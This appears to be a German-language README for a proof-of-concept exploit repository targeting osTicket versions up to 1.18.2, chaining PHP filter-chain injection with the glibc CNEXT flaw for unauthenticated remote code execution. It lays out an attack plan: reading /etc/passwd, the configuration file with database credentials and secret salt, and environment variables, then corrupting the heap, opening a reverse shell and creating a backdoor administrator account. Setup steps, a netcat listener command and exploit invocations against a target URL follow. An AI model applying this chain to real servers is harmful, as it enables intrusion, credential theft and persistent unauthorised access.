Exploit einer vollständigen Kette, der PHP-Filterketten-Injection mit CVE-2024-2961 (CNEXT) für nicht authentifizierte Remote Code Execution auf angreifbaren osTicket-Installationen kombiniert.
Vollständige Exploit-Kette, die PHP-Filter-Chain-Injection mit CVE-2024-2961 (CNEXT) kombiniert, um nicht authentifizierte Remote-Code-Ausführung auf verwundbaren osTicket-Installationen zu erreichen.
Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2026-22200, eine kritische Schwachstelle, die osTicket-Versionen ≤ 1.18.2 betrifft. Der Exploit verknüpft zwei leistungsstarke Techniken:
Das Ergebnis: Nicht authentifizierte Remote-Code-Ausführung auf verwundbaren osTicket-Servern.
CVSS-Score: 9.8 (Kritisch)
Die mPDF-Integration von osTicket erlaubt nicht authentifizierten Benutzern, bösartige PHP-Filterketten durch speziell gestaltete HTML-Nutzlasten in Support-Tickets einzuschleusen. Dies ermöglicht:
Grundursache: Unzureichende Validierung von Bild-URLs in benutzergeliefertem HTML, bevor es an mPDF weitergegeben wird.
CVSS-Score: 9.8 (Kritisch)
Pufferüberlauf in glibc's iconv() bei der Verarbeitung des Zeichensatzes ISO-2022-CN-EXT. In Kombination mit PHP-Filterketten ermöglicht dies:
Verwundbare glibc-Versionen: < 2.39 (Februar 2024)
┌─────────────────────────────────────────────────────────────────┐
│ 1. AUFKLÄRUNG │
│ └─ osTicket erkennen, Rich-Text-Themen identifizieren │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. AUTHENTIFIZIERUNG │
│ └─ Selbstregistrierung ODER vorhandene Anmeldedaten nutzen │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. DATEI-EXFILTRATION (PHP-Filterketten) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (DB-Anmeldedaten, SECRET_SALT) │
│ ├─ /proc/self/maps (Speicherlayout) │
│ └─ /proc/self/environ (Umgebungsvariablen) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. LIBC-FINGERPRINTING │
│ ├─ Partielles libc via Filterketten extrahieren │
│ ├─ GNU Build-ID extrahieren │
│ └─ Vollständiges libc von libc.rip herunterladen │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. CNEXT-RCE-AUSNUTZUNG │
│ ├─ Heap-Korruptions-Nutzlast generieren │
│ ├─ via Ticketantwort injizieren (mit Filterausführungsfixes)│
│ ├─ via PDF-Export auslösen (Server stürzt ab) │
│ └─ Reverse Shell ausführen │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. NACH-EXPLOITATION │
│ ├─ Interaktive Reverse Shell │
│ ├─ Datenbankzugriff (unter Verwendung von exfiltriertem DBPASS)│
│ └─ Hintertür-Admin-Konto erstellen │
└─────────────────────────────────────────────────────────────────┘
# Repository klonen
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# Erforderliche Pakete installieren
pip install -r requirements.txt
requirements.txt:
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# ODER
venv\Scripts\activate # Windows
pip install -r requirements.txt
# Terminal 1: Listener starten
nc -lvnp 4444
# Terminal 2: Exploit ausführen
python3 osticket_revshell.py https://ziel.com/osticket \
--lhost IHRE_IP \
--lport 4444
python3 osticket_exploit.py https://ziel.com/osticket
# Proxy verwenden (Burp Suite)
python3 osticket_revshell.py https://ziel.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080
# Bestimmte Hilfe-Themen-ID erzwingen
python3 osticket_exploit.py https://ziel.com/osticket \
--topic-id 2
# Farbausgabe deaktivieren (für Protokollierung)
python3 osticket_exploit.py https://ziel.com/osticket --no-color